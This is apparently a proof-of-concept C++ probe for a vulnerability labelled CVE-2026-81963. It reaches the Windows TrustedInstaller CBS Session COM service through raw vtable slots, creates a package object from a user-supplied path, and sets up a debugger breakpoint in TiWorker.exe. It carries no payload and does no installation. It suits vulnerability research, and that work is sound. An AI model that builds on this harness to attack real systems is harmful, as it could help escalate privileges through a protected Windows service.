#include <Windows.h>
#include <Objbase.h>
#include <iostream>
#include <iomanip>
#include <string>

#pragma comment(lib, "Ole32.lib")

// TrustedInstaller.exe 10.0.22621.5262
// CLSID_CbsSession = {752073A1-23F2-4396-85F0-8FDB879ED0ED}
// Registered as "Component Based Servicing Session" and hosted by the
// TrustedInstaller service.
static const CLSID CLSID_CbsSession =
{
    0x752073A1,
    0x23F2,
    0x4396,
    { 0x85, 0xF0, 0x8F, 0xDB, 0x87, 0x9E, 0xD0, 0xED }
};

// IID_ICbsSession = {75207391-23F2-4396-85F0-8FDB879ED0ED}
static const IID IID_ICbsSession =
{
    0x75207391,
    0x23F2,
    0x4396,
    { 0x85, 0xF0, 0x8F, 0xDB, 0x87, 0x9E, 0xD0, 0xED }
};

// IID_ICbsSession10 = {F112757A-565B-4260-BD05-9FA34417349A}
// GetSessionId is available on this extended interface, not on the base
// ICbsSession proxy vtable.
static const IID IID_ICbsSession10 =
{
    0xF112757A,
    0x565B,
    0x4260,
    { 0xBD, 0x05, 0x9F, 0xA3, 0x44, 0x17, 0x34, 0x9A }
};

// IID_ICbsPackage = {75207393-23F2-4396-85F0-8FDB879ED0ED}
static const IID IID_ICbsPackage =
{
    0x75207393,
    0x23F2,
    0x4396,
    { 0x85, 0xF0, 0x8F, 0xDB, 0x87, 0x9E, 0xD0, 0xED }
};

using ICbsSessionInitializeFn = HRESULT(STDMETHODCALLTYPE*)(
    IUnknown* session,
    UINT options,
    LPCWSTR clientId,
    LPCWSTR bootDrive,
    LPCWSTR windowsDirectory);

using ICbsSessionGetSessionIdFn = HRESULT(STDMETHODCALLTYPE*)(
    IUnknown* session,
    LPWSTR* sessionId);

using ICbsSessionCreateWindowsUpdatePackageFn = HRESULT(STDMETHODCALLTYPE*)(
    IUnknown* session,
    UINT options,
    LPCWSTR applicationId,
    GUID packageGuid,
    UINT revision,
    UINT packageType,
    LPCWSTR packageLocation,
    LPCWSTR sandboxLocation,
    UINT additionalFlags,
    void* decryptionData,
    UINT encryptionType,
    IUnknown** package);

using ICbsPackageEvaluateApplicabilityFn = HRESULT(STDMETHODCALLTYPE*)(
    IUnknown* package,
    UINT options,
    int* applicabilityState,
    int* currentState);

static void PrintHresult(const wchar_t* operation, HRESULT hr)
{
    wchar_t* message = nullptr;

    FormatMessageW(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        nullptr,
        static_cast<DWORD>(hr),
        0,
        reinterpret_cast<wchar_t*>(&message),
        0,
        nullptr);

    std::wcout
        << L"[" << (SUCCEEDED(hr) ? L"+" : L"-") << L"] "
        << operation
        << L": 0x"
        << std::hex
        << std::uppercase
        << std::setw(8)
        << std::setfill(L'0')
        << static_cast<unsigned long>(hr)
        << std::dec;

    if (message != nullptr)
    {
        std::wcout << L" - " << message;
        LocalFree(message);
    }
    else
    {
        std::wcout << std::endl;
    }
}

int wmain(int argc, wchar_t* argv[])
{
    constexpr wchar_t defaultMissingCabPath[] =
        L"C:\\CVE-2026-81963\\Nonexistent-Probe-Package.cab";

    const wchar_t* packagePath =
        argc >= 2 ? argv[1] : defaultMissingCabPath;

    const bool evaluateOnePackage =
        argc >= 3 && _wcsicmp(argv[2], L"--evaluate-onepackage") == 0;

    const bool evaluateApplicability =
        evaluateOnePackage ||
        (argc >= 3 && _wcsicmp(argv[2], L"--evaluate") == 0);

    std::wstring isolatedSandbox;
    if (evaluateOnePackage)
    {
        if (argc >= 4)
        {
            isolatedSandbox = argv[3];
            DWORD attributes = GetFileAttributesW(isolatedSandbox.c_str());
            if (attributes == INVALID_FILE_ATTRIBUTES ||
                (attributes & FILE_ATTRIBUTE_DIRECTORY) == 0)
            {
                std::wcerr
                    << L"[-] The supplied onepackage sandbox is not an "
                    << L"existing directory: "
                    << isolatedSandbox
                    << std::endl;
                return 1;
            }
        }
        else
        {
            isolatedSandbox =
                L"C:\\CVE-2026-81963\\EvaluationSandbox-" +
                std::to_wstring(GetCurrentProcessId());

            if (!CreateDirectoryW(isolatedSandbox.c_str(), nullptr))
            {
                DWORD createDirectoryError = GetLastError();
                std::wcerr
                    << L"[-] Refusing to continue because the isolated sandbox "
                    << L"could not be created: "
                    << isolatedSandbox
                    << L" (Win32 error "
                    << createDirectoryError
                    << L")"
                    << std::endl;
                return 1;
            }
        }
    }

    wchar_t username[256]{};
    DWORD usernameLength = ARRAYSIZE(username);

    if (GetUserNameW(username, &usernameLength))
    {
        std::wcout
            << L"[i] Running as: "
            << username
            << std::endl;
    }

    std::wcout
        << L"[i] Testing basic activation of the public TrustedInstaller "
        << L"CBS Session COM endpoint."
        << std::endl
        << L"[i] Requesting IID_ICbsSession10."
        << std::endl
        << L"[i] Calling only ICbsSession::Initialize with harmless "
        << L"laboratory metadata."
        << std::endl
        << L"[i] A package object may be created, but it will not be evaluated, "
        << L"staged, installed, or committed."
        << std::endl
        << L"[i] A read-only GetSessionId query will test the internal "
        << L"TrustedInstaller-to-TiWorker bridge."
        << std::endl;

    HRESULT hr = CoInitializeEx(
        nullptr,
        COINIT_MULTITHREADED);

    PrintHresult(
        L"CoInitializeEx",
        hr);

    if (FAILED(hr))
        return 1;

    HRESULT securityHr = CoInitializeSecurity(
        nullptr,
        -1,
        nullptr,
        nullptr,
        RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        nullptr,
        EOAC_SECURE_REFS,
        nullptr);

    PrintHresult(
        L"CoInitializeSecurity",
        securityHr);

    if (FAILED(securityHr) && securityHr != RPC_E_TOO_LATE)
    {
        CoUninitialize();
        return 1;
    }

    IUnknown* cbsSession = nullptr;

    hr = CoCreateInstance(
        CLSID_CbsSession,
        nullptr,
        CLSCTX_LOCAL_SERVER,
        IID_ICbsSession10,
        reinterpret_cast<void**>(&cbsSession));

    PrintHresult(
        L"CoCreateInstance(CLSID_CbsSession, IID_ICbsSession10)",
        hr);

    if (SUCCEEDED(hr) && cbsSession != nullptr)
    {
        std::wcout
            << L"[+] Public ICbsSession10 acquisition succeeded."
            << std::endl;

        void** vtable = *reinterpret_cast<void***>(cbsSession);
        auto initialize = reinterpret_cast<ICbsSessionInitializeFn>(vtable[3]);

        HRESULT initializeHr = initialize(
            cbsSession,
            0,
            L"CVE-2026-81963 harmless session initialization probe",
            nullptr,
            nullptr);

        PrintHresult(
            L"ICbsSession::Initialize(options=0, harmless client ID)",
            initializeHr);

        if (SUCCEEDED(initializeHr))
        {
            std::wcout
                << L"[+] ICbsSession initialization succeeded."
                << std::endl;

            auto getSessionId =
                reinterpret_cast<ICbsSessionGetSessionIdFn>(vtable[11]);
            LPWSTR sessionId = nullptr;

            HRESULT sessionIdHr = getSessionId(cbsSession, &sessionId);

            PrintHresult(
                L"ICbsSession::GetSessionId(read-only worker bridge query)",
                sessionIdHr);

            if (SUCCEEDED(sessionIdHr))
            {
                std::wcout
                    << L"[+] TrustedInstaller created and reached the internal "
                    << L"TiWorker-backed CBS session."
                    << std::endl;

                if (sessionId != nullptr)
                {
                    std::wcout
                        << L"[+] Session ID: "
                        << sessionId
                        << std::endl;
                    CoTaskMemFree(sessionId);
                }

                std::wcout
                    << L"[i] Calling ICbsSession10::CreateWindowsUpdatePackage."
                    << std::endl
                    << L"[i] Package location: "
                    << packagePath
                    << std::endl;

                if (evaluateOnePackage)
                {
                    std::wcout
                        << L"[i] Onepackage mode is enabled."
                        << std::endl
                        << L"[i] Isolated sandbox: "
                        << isolatedSandbox
                        << std::endl;
                }

                auto createWindowsUpdatePackage =
                    reinterpret_cast<ICbsSessionCreateWindowsUpdatePackageFn>(
                        vtable[17]);

                IUnknown* packageUnknown = nullptr;

                HRESULT createPackageHr = createWindowsUpdatePackage(
                    cbsSession,
                    0,
                    L"CVE-2026-81963 controlled package-creation probe",
                    GUID_NULL,
                    0,
                    evaluateOnePackage ? 1u : 0u,
                    evaluateOnePackage ? isolatedSandbox.c_str() : packagePath,
                    evaluateOnePackage ? packagePath : L"C:\\CVE-2026-81963",
                    0,
                    nullptr,
                    0, // CBS_PACKAGE_ENCRYPTION_NONE
                    &packageUnknown);

                PrintHresult(
                    L"ICbsSession10::CreateWindowsUpdatePackage",
                    createPackageHr);

                if (SUCCEEDED(createPackageHr) && packageUnknown != nullptr)
                {
                    std::wcout
                        << L"[+] CBS returned the package controlling IUnknown."
                        << std::endl;

                    IUnknown* package = nullptr;
                    HRESULT packageQiHr = packageUnknown->QueryInterface(
                        IID_ICbsPackage,
                        reinterpret_cast<void**>(&package));

                    PrintHresult(
                        L"QueryInterface(IID_ICbsPackage)",
                        packageQiHr);

                    if (SUCCEEDED(packageQiHr) && package != nullptr &&
                        evaluateApplicability)
                    {
                        std::wcout
                            << L"[i] Evaluation mode is enabled."
                            << std::endl
                            << L"[i] Attach the debugger to TiWorker.exe and set "
                            << L"a breakpoint at CbsCore.dll+0xFB88 now."
                            << std::endl
                            << L"[i] Press Enter to call only "
                            << L"ICbsPackage::EvaluateApplicability."
                            << std::endl;

                        std::wstring input;
                        std::getline(std::wcin, input);

                        void** packageVtable =
                            *reinterpret_cast<void***>(package);
                        auto evaluate =
                            reinterpret_cast<ICbsPackageEvaluateApplicabilityFn>(
                                packageVtable[10]);

                        int applicabilityState = -1;
                        int currentState = -1;

                        HRESULT evaluateHr = evaluate(
                            package,
                            0,
                            &applicabilityState,
                            &currentState);

                        PrintHresult(
                            L"ICbsPackage::EvaluateApplicability(options=0)",
                            evaluateHr);

                        std::wcout
                            << L"[i] Applicability state: "
                            << applicabilityState
                            << std::endl
                            << L"[i] Current state: "
                            << currentState
                            << std::endl
                            << L"[i] No InitiateChanges, staging, installation, "
                            << L"or commit operation will be performed."
                            << std::endl;
                    }
                    else if (SUCCEEDED(packageQiHr) && package != nullptr)
                    {
                        std::wcout
                            << L"[+] Evaluation mode is disabled."
                            << std::endl;
                    }

                    if (package != nullptr)
                    {
                        std::wcout
                            << L"[+] Releasing ICbsPackage now."
                            << std::endl;

                        package->Release();
                        package = nullptr;
                    }

                    std::wcout
                        << L"[+] Releasing the package controlling IUnknown now."
                        << std::endl;

                    packageUnknown->Release();
                    packageUnknown = nullptr;
                }
                else if (packageUnknown != nullptr)
                {
                    std::wcout
                        << L"[!] A package interface accompanied a failing "
                        << L"HRESULT; releasing it immediately."
                        << std::endl;
                    packageUnknown->Release();
                    packageUnknown = nullptr;
                }
                else if (FAILED(createPackageHr))
                {
                    std::wcout
                        << L"[+] The slot-17 request was marshalled and failed "
                        << L"in a controlled manner."
                        << std::endl;
                }
                else
                {
                    std::wcout
                        << L"[!] The call succeeded without returning a package "
                        << L"interface."
                        << std::endl;
                }

                std::wcout
                    << L"[+] The session will now be released without evaluating "
                    << L"or installing a package."
                    << std::endl;
            }
            else
            {
                std::wcout
                    << L"[-] The read-only worker-backed session query failed."
                    << std::endl
                    << L"[i] No package operation was attempted."
                    << std::endl;
            }

            cbsSession->Release();
            CoUninitialize();
            return SUCCEEDED(sessionIdHr) ? 0 : 4;
        }
        else
        {
            std::wcout
                << L"[-] ICbsSession initialization failed."
                << std::endl
                << L"[i] No package operation was attempted."
                << std::endl;
        }

        cbsSession->Release();

        CoUninitialize();
        return SUCCEEDED(initializeHr) ? 0 : 3;
    }
    else
    {
        std::wcout
            << L"[-] Public ICbsSession acquisition failed."
            << std::endl
            << L"[i] ICbsSession::Initialize was not invoked."
            << std::endl;
    }

    CoUninitialize();

    return SUCCEEDED(hr) ? 0 : 2;
}